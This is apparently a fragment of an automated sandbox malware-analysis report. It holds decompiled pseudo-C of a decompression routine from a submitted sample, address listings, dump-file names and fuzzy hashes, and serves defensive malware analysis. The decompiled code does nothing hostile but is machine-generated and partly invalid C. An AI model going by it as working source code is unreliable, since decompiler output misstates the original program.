                                                    													__ebx = __ebx + __ebx;
                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                                    													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                    													 *(__ebp - 0x44) = __ebx;
                                                    													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                                    														__ecx =  *(__ebp - 0x10);
                                                    														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                    														__ebx = __ebx | 0x00000001;
                                                    														__eflags = __ebx;
                                                    														 *(__ebp - 0x44) = __ebx;
                                                    													}
                                                    													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    													if( *(__ebp - 0x10) >= 0x1000000) {
                                                    														L101:
                                                    														_t338 = __ebp - 0x48;
                                                    														 *_t338 =  *(__ebp - 0x48) - 1;
                                                    														__eflags =  *_t338;
                                                    														goto L102;
                                                    													} else {
                                                    														goto L99;
                                                    													}
                                                    												}
                                                    												__edx =  *(__ebp - 4);
                                                    												__eax = __eax - __ebx;
                                                    												 *(__ebp - 0x40) = __ecx;
                                                    												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                                    												goto L108;
                                                    											case 0x1a:
                                                    												L56:
                                                    												__eflags =  *(__ebp - 0x64);
                                                    												if( *(__ebp - 0x64) == 0) {
                                                    													 *(__ebp - 0x88) = 0x1a;
                                                    													goto L170;
                                                    												}
                                                    												__ecx =  *(__ebp - 0x68);
                                                    												__al =  *(__ebp - 0x5c);
                                                    												__edx =  *(__ebp - 8);
                                                    												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                    												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                    												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                    												 *( *(__ebp - 0x68)) = __al;
                                                    												__ecx =  *(__ebp - 0x14);
                                                    												 *(__ecx +  *(__ebp - 8)) = __al;
                                                    												__eax = __ecx + 1;
                                                    												__edx = 0;
                                                    												_t192 = __eax %  *(__ebp - 0x74);
                                                    												__eax = __eax /  *(__ebp - 0x74);
                                                    												__edx = _t192;
                                                    												goto L80;
                                                    											case 0x1b:
                                                    												L76:
                                                    												__eflags =  *(__ebp - 0x64);
                                                    												if( *(__ebp - 0x64) == 0) {
                                                    													 *(__ebp - 0x88) = 0x1b;
                                                    													goto L170;
                                                    												}
                                                    												__eax =  *(__ebp - 0x14);
                                                    												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                    												__eflags = __eax -  *(__ebp - 0x74);
                                                    												if(__eax >=  *(__ebp - 0x74)) {
                                                    													__eax = __eax +  *(__ebp - 0x74);
                                                    													__eflags = __eax;
                                                    												}
                                                    												__edx =  *(__ebp - 8);
                                                    												__cl =  *(__eax + __edx);
                                                    												__eax =  *(__ebp - 0x14);
                                                    												 *(__ebp - 0x5c) = __cl;
                                                    												 *(__eax + __edx) = __cl;
                                                    												__eax = __eax + 1;
                                                    												__edx = 0;
                                                    												_t275 = __eax %  *(__ebp - 0x74);
                                                    												__eax = __eax /  *(__ebp - 0x74);
                                                    												__edx = _t275;
                                                    												__eax =  *(__ebp - 0x68);
                                                    												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                    												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                    												_t284 = __ebp - 0x64;
                                                    												 *_t284 =  *(__ebp - 0x64) - 1;
                                                    												__eflags =  *_t284;
                                                    												 *( *(__ebp - 0x68)) = __cl;
                                                    												L80:
                                                    												 *(__ebp - 0x14) = __edx;
                                                    												goto L81;
                                                    											case 0x1c:
                                                    												while(1) {
                                                    													L123:
                                                    													__eflags =  *(__ebp - 0x64);
                                                    													if( *(__ebp - 0x64) == 0) {
                                                    														break;
                                                    													}
                                                    													__eax =  *(__ebp - 0x14);
                                                    													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                    													__eflags = __eax -  *(__ebp - 0x74);
                                                    													if(__eax >=  *(__ebp - 0x74)) {
                                                    														__eax = __eax +  *(__ebp - 0x74);
                                                    														__eflags = __eax;
                                                    													}
                                                    													__edx =  *(__ebp - 8);
                                                    													__cl =  *(__eax + __edx);
                                                    													__eax =  *(__ebp - 0x14);
                                                    													 *(__ebp - 0x5c) = __cl;
                                                    													 *(__eax + __edx) = __cl;
                                                    													__eax = __eax + 1;
                                                    													__edx = 0;
                                                    													_t414 = __eax %  *(__ebp - 0x74);
                                                    													__eax = __eax /  *(__ebp - 0x74);
                                                    													__edx = _t414;
                                                    													__eax =  *(__ebp - 0x68);
                                                    													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                    													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                    													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                                    													__eflags =  *(__ebp - 0x30);
                                                    													 *( *(__ebp - 0x68)) = __cl;
                                                    													 *(__ebp - 0x14) = _t414;
                                                    													if( *(__ebp - 0x30) > 0) {
                                                    														continue;
                                                    													} else {
                                                    														L81:
                                                    														 *(__ebp - 0x88) = 2;
                                                    														goto L1;
                                                    													}
                                                    												}
                                                    												 *(__ebp - 0x88) = 0x1c;
                                                    												goto L170;
                                                    										}
                                                    									}
                                                    									L171:
                                                    									_t535 = _t534 | 0xffffffff;
                                                    									goto L172;
                                                    								}
                                                    							}
                                                    						}
                                                    					}
                                                    					goto L1;
                                                    				}
                                                    			}













                                                    0x00000000
                                                    0x0040711c
                                                    0x0040711c
                                                    0x00407120
                                                    0x0040712d
                                                    0x00407137
                                                    0x00000000
                                                    0x00407122
                                                    0x00407122
                                                    0x0040715d
                                                    0x00407160
                                                    0x00407163
                                                    0x00407166
                                                    0x00407166
                                                    0x00407169
                                                    0x00407170
                                                    0x00407175
                                                    0x00407056
                                                    0x00407059
                                                    0x004073cb
                                                    0x004073cb
                                                    0x004073cb
                                                    0x004073ce
                                                    0x004073ce
                                                    0x004073ce
                                                    0x004073d4
                                                    0x004073da
                                                    0x004073e0
                                                    0x004073fa
                                                    0x004073fd
                                                    0x00407403
                                                    0x0040740e
                                                    0x00407410
                                                    0x004073e2
                                                    0x004073e2
                                                    0x004073f1
                                                    0x004073f5
                                                    0x004073f5
                                                    0x0040741a
                                                    0x00000000
                                                    0x00000000
                                                    0x0040741c
                                                    0x00407420
                                                    0x004075cf
                                                    0x004075e5
                                                    0x004075ed
                                                    0x004075f4
                                                    0x004075f6
                                                    0x004075fd
                                                    0x00407601
                                                    0x00407601
                                                    0x0040742c
                                                    0x00407433
                                                    0x0040743b
                                                    0x0040743e
                                                    0x00407441
                                                    0x00407441
                                                    0x00407447
                                                    0x00407447
                                                    0x00406be3
                                                    0x00406be3
                                                    0x00406be3
                                                    0x00406bec
                                                    0x00000000
                                                    0x00000000
                                                    0x00406bf2
                                                    0x00000000
                                                    0x00406bfd
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c06
                                                    0x00406c09
                                                    0x00406c0c
                                                    0x00406c10
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c16
                                                    0x00406c19
                                                    0x00406c1b
                                                    0x00406c1c
                                                    0x00406c1f
                                                    0x00406c21
                                                    0x00406c22
                                                    0x00406c24
                                                    0x00406c27
                                                    0x00406c2c
                                                    0x00406c31
                                                    0x00406c3a
                                                    0x00406c4d
                                                    0x00406c50
                                                    0x00406c5c
                                                    0x00406c84
                                                    0x00406c86
                                                    0x00406c94
                                                    0x00406c94
                                                    0x00406c98
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c88
                                                    0x00406c88
                                                    0x00406c8b
                                                    0x00406c8c
                                                    0x00406c8c
                                                    0x00000000
                                                    0x00406c88
                                                    0x00406c62
                                                    0x00406c67
                                                    0x00406c67
                                                    0x00406c70
                                                    0x00406c78
                                                    0x00406c7b
                                                    0x00000000
                                                    0x00406c81
                                                    0x00406c81
                                                    0x00000000
                                                    0x00406c81
                                                    0x00000000
                                                    0x00406c9e
                                                    0x00406c9e
                                                    0x00406ca2
                                                    0x0040754e
                                                    0x00000000
                                                    0x0040754e
                                                    0x00406cab
                                                    0x00406cbb
                                                    0x00406cbe
                                                    0x00406cc1
                                                    0x00406cc1
                                                    0x00406cc1
                                                    0x00406cc4
                                                    0x00406cc8
                                                    0x00000000
                                                    0x00000000
                                                    0x00406cca
                                                    0x00406cd0
                                                    0x00406cfa
                                                    0x00406d00
                                                    0x00406d07
                                                    0x00000000
                                                    0x00406d07
                                                    0x00406cd6
                                                    0x00406cd9
                                                    0x00406cde
                                                    0x00406cde
                                                    0x00406ce9
                                                    0x00406cf1
                                                    0x00406cf4
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406d39
                                                    0x00406d3f
                                                    0x00406d42
                                                    0x00406d4f
                                                    0x00406d57
                                                    0x004073cb
                                                    0x004073cb
                                                    0x00000000
                                                    0x00000000
                                                    0x00406d0e
                                                    0x00406d0e
                                                    0x00406d12
                                                    0x0040755d
                                                    0x00000000
                                                    0x0040755d
                                                    0x00406d1e
                                                    0x00406d29
                                                    0x00406d29
                                                    0x00406d29
                                                    0x00406d2c
                                                    0x00406d2f
                                                    0x00406d32
                                                    0x00406d37
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x004073ce
                                                    0x004073ce
                                                    0x004073d4
                                                    0x004073da
                                                    0x004073e0
                                                    0x004073fa
                                                    0x004073fd
                                                    0x00407403
                                                    0x0040740e
                                                    0x00407410
                                                    0x004073e2
                                                    0x004073e2
                                                    0x004073f1
                                                    0x004073f5
                                                    0x004073f5
                                                    0x0040741a
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406d5f
                                                    0x00406d61
                                                    0x00406d64
                                                    0x00406dd5
                                                    0x00406dd8
                                                    0x00406ddb
                                                    0x00406de2
                                                    0x00406dec
                                                    0x004073cb
                                                    0x004073cb
                                                    0x004073cb
                                                    0x00000000
                                                    0x004073cb
                                                    0x004073cb
                                                    0x00406d66
                                                    0x00406d6a
                                                    0x00406d6d
                                                    0x00406d6f
                                                    0x00406d72
                                                    0x00406d75
                                                    0x00406d77
                                                    0x00406d7a
                                                    0x00406d7c
                                                    0x00406d81
                                                    0x00406d84
                                                    0x00406d87
                                                    0x00406d8b
                                                    0x00406d92
                                                    0x00406d95
                                                    0x00406d9c
                                                    0x00406da0
                                                    0x00406da8
                                                    0x00406da8
                                                    0x00406da8
                                                    0x00406da2
                                                    0x00406da2
                                                    0x00406da2
                                                    0x00406d97
                                                    0x00406d97
                                                    0x00406d97
                                                    0x00406dac
                                                    0x00406daf
                                                    0x00406dcd
                                                    0x00406dcf
                                                    0x00000000
                                                    0x00406db1
                                                    0x00406db1
                                                    0x00406db4
                                                    0x00406db7
                                                    0x00406dba
                                                    0x00406dbc
                                                    0x00406dbc
                                                    0x00406dbc
                                                    0x00406dbf
                                                    0x00406dc2
                                                    0x00406dc4
                                                    0x00406dc5
                                                    0x00406dc8
                                                    0x00000000
                                                    0x00406dc8
                                                    0x00000000
                                                    0x00406ffe
                                                    0x00407002
                                                    0x00407020
                                                    0x00407023
                                                    0x0040702a
                                                    0x0040702d
                                                    0x00407030
                                                    0x00407033
                                                    0x00407036
                                                    0x00407039
                                                    0x0040703b
                                                    0x00407042
                                                    0x00407043
                                                    0x00407045
                                                    0x00407048
                                                    0x0040704b
                                                    0x0040704e
                                                    0x0040704e
                                                    0x00407053
                                                    0x00000000
                                                    0x00407053
                                                    0x00407004
                                                    0x00407007
                                                    0x0040700a
                                                    0x00407014
                                                    0x004073cb
                                                    0x004073cb
                                                    0x004073cb
                                                    0x00000000
                                                    0x004073cb
                                                    0x00000000
                                                    0x00407068
                                                    0x0040706c
                                                    0x0040708f
                                                    0x00407092
                                                    0x00407095
                                                    0x0040709f
                                                    0x0040706e
                                                    0x0040706e
                                                    0x00407071
                                                    0x00407074
                                                    0x00407077
                                                    0x00407084
                                                    0x00407087
                                                    0x00407087
                                                    0x004073cb
                                                    0x004073cb
                                                    0x004073cb
                                                    0x00000000
                                                    0x004073cb
                                                    0x00000000
                                                    0x004070ab
                                                    0x004070af
                                                    0x00000000
                                                    0x00000000
                                                    0x004070b5
                                                    0x004070b9
                                                    0x00000000
                                                    0x00000000
                                                    0x004070bf
                                                    0x004070c1
                                                    0x004070c5
                                                    0x004070c5
                                                    0x004070c8
                                                    0x004070cc
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00407143
                                                    0x00407147
                                                    0x0040714e
                                                    0x00407151
                                                    0x00407154
                                                    0x00407149
                                                    0x00407149
                                                    0x00407149
                                                    0x00407157
                                                    0x0040715a
                                                    0x00000000
                                                    0x00000000
                                                    0x00407203
                                                    0x00407203
                                                    0x00407207
                                                    0x004075a5
                                                    0x00000000
                                                    0x004075a5
                                                    0x0040720d
                                                    0x00407210
                                                    0x00407213
                                                    0x00407217
                                                    0x0040721a
                                                    0x00407220
                                                    0x00407222
                                                    0x00407222
                                                    0x00407222
                                                    0x00407225
                                                    0x00407228
                                                    0x00000000
                                                    0x00000000
                                                    0x00406df8
                                                    0x00406df8
                                                    0x00406dfc
                                                    0x00407569
                                                    0x00000000
                                                    0x00407569
                                                    0x00406e02
                                                    0x00406e05
                                                    0x00406e08
                                                    0x00406e0c
                                                    0x00406e0f
                                                    0x00406e15
                                                    0x00406e17
                                                    0x00406e17
                                                    0x00406e17
                                                    0x00406e1a
                                                    0x00406e1d
                                                    0x00406e1d
                                                    0x00406e20
                                                    0x00406e23
                                                    0x00000000
                                                    0x00000000
                                                    0x00406e29
                                                    0x00406e2f
                                                    0x00000000
                                                    0x00000000
                                                    0x00406e35
                                                    0x00406e35
                                                    0x00406e39
                                                    0x00406e3c
                                                    0x00406e3f
                                                    0x00406e42
                                                    0x00406e45
                                                    0x00406e46
                                                    0x00406e49
                                                    0x00406e4b
                                                    0x00406e51
                                                    0x00406e54
                                                    0x00406e57
                                                    0x00406e5a
                                                    0x00406e5d
                                                    0x00406e60
                                                    0x00406e63
                                                    0x00406e7f
                                                    0x00406e82
                                                    0x00406e85
                                                    0x00406e88
                                                    0x00406e8f
                                                    0x00406e93
                                                    0x00406e95
                                                    0x00406e99
                                                    0x00406e65
                                                    0x00406e65
                                                    0x00406e69
                                                    0x00406e71
                                                    0x00406e76
                                                    0x00406e78
                                                    0x00406e7a
                                                    0x00406e7a
                                                    0x00406e9c
                                                    0x00406ea3
                                                    0x00406ea6
                                                    0x00000000
                                                    0x00406eac
                                                    0x00000000
                                                    0x00406eac
                                                    0x00000000
                                                    0x00406eb1
                                                    0x00406eb1
                                                    0x00406eb5
                                                    0x00407575
                                                    0x00000000
                                                    0x00407575
                                                    0x00406ebb
                                                    0x00406ebe
                                                    0x00406ec1
                                                    0x00406ec5
                                                    0x00406ec8
                                                    0x00406ece
                                                    0x00406ed0
                                                    0x00406ed0
                                                    0x00406ed0
                                                    0x00406ed3
                                                    0x00406ed6
                                                    0x00406ed6
                                                    0x00406ed6
                                                    0x00406edc
                                                    0x00000000
                                                    0x00000000
                                                    0x00406ede
                                                    0x00406ee1
                                                    0x00406ee4
                                                    0x00406ee7
                                                    0x00406eea
                                                    0x00406eed
                                                    0x00406ef0
                                                    0x00406ef3
                                                    0x00406ef6
                                                    0x00406ef9
                                                    0x00406efc
                                                    0x00406f14
                                                    0x00406f17
                                                    0x00406f1a
                                                    0x00406f1d
                                                    0x00406f1d
                                                    0x00406f20
                                                    0x00406f24
                                                    0x00406f26
                                                    0x00406efe
                                                    0x00406efe
                                                    0x00406f06
                                                    0x00406f0b
                                                    0x00406f0d
                                                    0x00406f0f
                                                    0x00406f0f
                                                    0x00406f29
                                                    0x00406f30
                                                    0x00406f33
                                                    0x00000000
                                                    0x00406f35
                                                    0x00000000
                                                    0x00406f35
                                                    0x00406f33
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00000000
                                                    0x00000000
                                                    0x00406f75
                                                    0x00406f75
                                                    0x00406f79
                                                    0x00407581
                                                    0x00000000
                                                    0x00407581
                                                    0x00406f7f
                                                    0x00406f82
                                                    0x00406f85
                                                    0x00406f89
                                                    0x00406f8c
                                                    0x00406f92
                                                    0x00406f94
                                                    0x00406f94
                                                    0x00406f94
                                                    0x00406f97
                                                    0x00406f9a
                                                    0x00406f9a
                                                    0x00406fa0
                                                    0x00406f3e
                                                    0x00406f3e
                                                    0x00406f41
                                                    0x00000000
                                                    0x00406f41
                                                    0x00406fa2
                                                    0x00406fa2
                                                    0x00406fa5
                                                    0x00406fa8
                                                    0x00406fab
                                                    0x00406fae
                                                    0x00406fb1
                                                    0x00406fb4
                                                    0x00406fb7
                                                    0x00406fba
                                                    0x00406fbd
                                                    0x00406fc0
                                                    0x00406fd8
                                                    0x00406fdb
                                                    0x00406fde
                                                    0x00406fe1
                                                    0x00406fe1
                                                    0x00406fe4
                                                    0x00406fe8
                                                    0x00406fea
                                                    0x00406fc2
                                                    0x00406fc2
                                                    0x00406fca
                                                    0x00406fcf
                                                    0x00406fd1
                                                    0x00406fd3
                                                    0x00406fd3
                                                    0x00406fed
                                                    0x00406ff4
                                                    0x00406ff7
                                                    0x00000000
                                                    0x00406ff9
                                                    0x00000000
                                                    0x00406ff9
                                                    0x00000000
                                                    0x00407286
                                                    0x00407286
                                                    0x0040728a
                                                    0x004075b1
                                                    0x00000000
                                                    0x004075b1
                                                    0x00407290
                                                    0x00407293
                                                    0x00407296
                                                    0x0040729a
                                                    0x0040729d
                                                    0x004072a3
                                                    0x004072a5
                                                    0x004072a5
                                                    0x004072a5
                                                    0x004072a8
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00407395
                                                    0x00407399
                                                    0x004073bb
                                                    0x004073be
                                                    0x004073c8
                                                    0x004073cb
                                                    0x004073cb
                                                    0x004073cb
                                                    0x00000000
                                                    0x004073cb
                                                    0x004073cb
                                                    0x0040739b
                                                    0x0040739e
                                                    0x004073a2
                                                    0x004073a5
                                                    0x004073a5
                                                    0x004073a8
                                                    0x00000000
                                                    0x00000000
                                                    0x00407452
                                                    0x00407456
                                                    0x00407474
                                                    0x00407474
                                                    0x00407474
                                                    0x0040747b
                                                    0x00407482
                                                    0x00407489
                                                    0x00407489
                                                    0x00000000
                                                    0x00407489
                                                    0x00407458
                                                    0x0040745b
                                                    0x0040745e
                                                    0x00407461
                                                    0x00407468
                                                    0x004073ac
                                                    0x004073ac
                                                    0x004073af
                                                    0x00000000
                                                    0x00000000
                                                    0x00407543
                                                    0x00407546
                                                    0x00407447
                                                    0x00000000
                                                    0x00000000
                                                    0x0040717d
                                                    0x0040717f
                                                    0x00407186
                                                    0x00407187
                                                    0x00407189
                                                    0x0040718c
                                                    0x00000000
                                                    0x00000000
                                                    0x00407194
                                                    0x00407197
                                                    0x0040719a
                                                    0x0040719c
                                                    0x0040719e
                                                    0x0040719e
                                                    0x0040719f
                                                    0x004071a2
                                                    0x004071a9
                                                    0x004071ac
                                                    0x004071ba
                                                    0x00000000
                                                    0x00000000
                                                    0x00407490
                                                    0x00407490
                                                    0x00407493
                                                    0x0040749a
                                                    0x00000000
                                                    0x00000000
                                                    0x0040749f
                                                    0x0040749f
                                                    0x004074a3
                                                    0x004075db
                                                    0x00000000
                                                    0x004075db
                                                    0x004074a9
                                                    0x004074ac
                                                    0x004074af
                                                    0x004074b3
                                                    0x004074b6
                                                    0x004074bc
                                                    0x004074be
                                                    0x004074be
                                                    0x004074be
                                                    0x004074c1
                                                    0x004074c4
                                                    0x004074c4
                                                    0x004074c4
                                                    0x004074c4
                                                    0x004074c7
                                                    0x004074c7
                                                    0x004074cb
                                                    0x0040752b
                                                    0x0040752e
                                                    0x00407533
                                                    0x00407534
                                                    0x00407536
                                                    0x00407538
                                                    0x0040753b
                                                    0x00407447
                                                    0x00407447
                                                    0x00000000
                                                    0x0040744d
                                                    0x00407447
                                                    0x004074cd
                                                    0x004074d3
                                                    0x004074d6
                                                    0x004074d9
                                                    0x004074dc
                                                    0x004074df
                                                    0x004074e2
                                                    0x004074e5
                                                    0x004074e8
                                                    0x004074eb
                                                    0x004074ee
                                                    0x00407507
                                                    0x0040750a
                                                    0x0040750d
                                                    0x00407510
                                                    0x00407514
                                                    0x00407516
                                                    0x00407516
                                                    0x00407517
                                                    0x0040751a
                                                    0x004074f0
                                                    0x004074f0
                                                    0x004074f8
                                                    0x004074fd
                                                    0x004074ff
                                                    0x00407502
                                                    0x00407502
                                                    0x0040751d
                                                    0x00407524
                                                    0x00000000
                                                    0x00407526
                                                    0x00000000
                                                    0x00407526
                                                    0x00000000
                                                    0x004071c2
                                                    0x004071c5
                                                    0x004071fb
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732e
                                                    0x0040732e
                                                    0x00407331
                                                    0x00407333
                                                    0x004075bd
                                                    0x00000000
                                                    0x004075bd
                                                    0x00407339
                                                    0x0040733c
                                                    0x00000000
                                                    0x00000000
                                                    0x00407342
                                                    0x00407346
                                                    0x00407349
                                                    0x00407349
                                                    0x00407349
                                                    0x00000000
                                                    0x00407349
                                                    0x004071c7
                                                    0x004071c9
                                                    0x004071cb
                                                    0x004071cd
                                                    0x004071d0
                                                    0x004071d1
                                                    0x004071d3
                                                    0x004071d5
                                                    0x004071d8
                                                    0x004071db
                                                    0x004071f1
                                                    0x004071f6
                                                    0x0040722e
                                                    0x0040722e
                                                    0x00407232
                                                    0x0040725e
                                                    0x00407260
                                                    0x00407267
                                                    0x0040726a
                                                    0x0040726d
                                                    0x0040726d
                                                    0x00407272
                                                    0x00407272
                                                    0x00407274
                                                    0x00407277
                                                    0x0040727e
                                                    0x00407281
                                                    0x004072ae
                                                    0x004072ae
                                                    0x004072b1
                                                    0x004072b4
                                                    0x00407328
                                                    0x00407328
                                                    0x00407328
                                                    0x00000000
                                                    0x00407328
                                                    0x004072b6
                                                    0x004072bc
                                                    0x004072bf
                                                    0x004072c2
                                                    0x004072c5
                                                    0x004072c8
                                                    0x004072cb
                                                    0x004072ce
                                                    0x004072d1
                                                    0x004072d4
                                                    0x004072d7
                                                    0x004072f0
                                                    0x004072f2
                                                    0x004072f5
                                                    0x004072f6
                                                    0x004072f9
                                                    0x004072fb
                                                    0x004072fe
                                                    0x00407300
                                                    0x00407302
                                                    0x00407305
                                                    0x00407307
                                                    0x0040730a
                                                    0x0040730e
                                                    0x00407310
                                                    0x00407310
                                                    0x00407311
                                                    0x00407314
                                                    0x00407317
                                                    0x004072d9
                                                    0x004072d9
                                                    0x004072e1
                                                    0x004072e6
                                                    0x004072e8
                                                    0x004072eb
                                                    0x004072eb
                                                    0x0040731a
                                                    0x00407321
                                                    0x004072ab
                                                    0x004072ab
                                                    0x004072ab
                                                    0x004072ab
                                                    0x00000000
                                                    0x00407323
                                                    0x00000000
                                                    0x00407323
                                                    0x00407321
                                                    0x00407234
                                                    0x00407237
                                                    0x00407239
                                                    0x0040723c
                                                    0x0040723f
                                                    0x00407242
                                                    0x00407244
                                                    0x00407247
                                                    0x0040724a
                                                    0x0040724a
                                                    0x0040724d
                                                    0x0040724d
                                                    0x00407250
                                                    0x00407257
                                                    0x0040722b
                                                    0x0040722b
                                                    0x0040722b
                                                    0x0040722b
                                                    0x00000000
                                                    0x00407259
                                                    0x00000000
                                                    0x00407259
                                                    0x00407257
                                                    0x004071dd
                                                    0x004071e0
                                                    0x004071e2
                                                    0x004071e5
                                                    0x00000000
                                                    0x00000000
                                                    0x00406f44
                                                    0x00406f44
                                                    0x00406f48
                                                    0x0040758d
                                                    0x00000000
                                                    0x0040758d
                                                    0x00406f4e
                                                    0x00406f51
                                                    0x00406f54
                                                    0x00406f57
                                                    0x00406f5a
                                                    0x00406f5d
                                                    0x00406f60
                                                    0x00406f62
                                                    0x00406f65
                                                    0x00406f68
                                                    0x00406f6b
                                                    0x00406f6d
                                                    0x00406f6d
                                                    0x00406f6d
                                                    0x00000000
                                                    0x00000000
                                                    0x004070cf
                                                    0x004070cf
                                                    0x004070d3
                                                    0x00407599
                                                    0x00000000
                                                    0x00407599
                                                    0x004070d9
                                                    0x004070dc
                                                    0x004070df
                                                    0x004070e2
                                                    0x004070e4
                                                    0x004070e4
                                                    0x004070e4
                                                    0x004070e7
                                                    0x004070ea
                                                    0x004070ed
                                                    0x004070f0
                                                    0x004070f3
                                                    0x004070f6
                                                    0x004070f7
                                                    0x004070f9
                                                    0x004070f9
                                                    0x004070f9
                                                    0x004070fc
                                                    0x004070ff
                                                    0x00407102
                                                    0x00407105
                                                    0x00407105
                                                    0x00407105
                                                    0x00407108
                                                    0x0040710a
                                                    0x0040710a
                                                    0x00000000
                                                    0x00000000
                                                    0x0040734c
                                                    0x0040734c
                                                    0x0040734c
                                                    0x00407350
                                                    0x00000000
                                                    0x00000000
                                                    0x00407356
                                                    0x00407359
                                                    0x0040735c
                                                    0x0040735f
                                                    0x00407361
                                                    0x00407361
                                                    0x00407361
                                                    0x00407364
                                                    0x00407367
                                                    0x0040736a
                                                    0x0040736d
                                                    0x00407370
                                                    0x00407373
                                                    0x00407374
                                                    0x00407376
                                                    0x00407376
                                                    0x00407376
                                                    0x00407379
                                                    0x0040737c
                                                    0x0040737f
                                                    0x00407382
                                                    0x00407385
                                                    0x00407389
                                                    0x0040738b
                                                    0x0040738e
                                                    0x00000000
                                                    0x00407390
                                                    0x0040710d
                                                    0x0040710d
                                                    0x00000000
                                                    0x0040710d
                                                    0x0040738e
                                                    0x004075c3
                                                    0x00000000
                                                    0x00000000
                                                    0x00406bf2
                                                    0x004075fa
                                                    0x004075fa
                                                    0x00000000
                                                    0x004075fa
                                                    0x00407447
                                                    0x004073ce
                                                    0x004073cb
                                                    0x00000000
                                                    0x00407120

                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: c68610f165bc536a6a66ce61bc987e677a2aaa57ebbfa987bd426c3fc0f92c56
                                                    • Instruction ID: aecab3f40db1f9fc07a3dc9ea3777efa7aa3d7dc23f88bc09ddd959c6243594a
                                                    • Opcode Fuzzy Hash: c68610f165bc536a6a66ce61bc987e677a2aaa57ebbfa987bd426c3fc0f92c56
                                                    • Instruction Fuzzy Hash: 2B711571D04228DBEF28CF98C8547ADBBB1FF44305F14806AD856BB281D778A986DF05
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 98%
                                                    			E00407068() {
                                                    				unsigned short _t531;
                                                    				signed int _t532;
                                                    				void _t533;
                                                    				signed int _t534;
                                                    				signed int _t535;
                                                    				signed int _t565;
                                                    				signed int _t568;
                                                    				signed int _t589;
                                                    				signed int* _t606;
                                                    				void* _t613;
                                                    
                                                    				L0:
                                                    				while(1) {
                                                    					L0:
                                                    					if( *(_t613 - 0x40) != 0) {
                                                    						 *(_t613 - 0x84) = 0xa;
                                                    						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
                                                    					} else {
                                                    						 *(__ebp - 0x84) = 9;
                                                    						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                    					}
                                                    					while(1) {
                                                    						 *(_t613 - 0x54) = _t606;
                                                    						while(1) {
                                                    							L133:
                                                    							_t531 =  *_t606;
                                                    							_t589 = _t531 & 0x0000ffff;
                                                    							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                                    							if( *(_t613 - 0xc) >= _t565) {
                                                    								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                                    								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                                    								 *(_t613 - 0x40) = 1;
                                                    								_t532 = _t531 - (_t531 >> 5);
                                                    								 *_t606 = _t532;
                                                    							} else {
                                                    								 *(_t613 - 0x10) = _t565;
                                                    								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                    								 *_t606 = (0x800 - _t589 >> 5) + _t531;
                                                    							}
                                                    							if( *(_t613 - 0x10) >= 0x1000000) {
                                                    								goto L139;
                                                    							}
                                                    							L137:
                                                    							if( *(_t613 - 0x6c) == 0) {
                                                    								 *(_t613 - 0x88) = 5;
                                                    								L170:
                                                    								_t568 = 0x22;
                                                    								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
                                                    								_t535 = 0;
                                                    								L172:
                                                    								return _t535;
                                                    							}
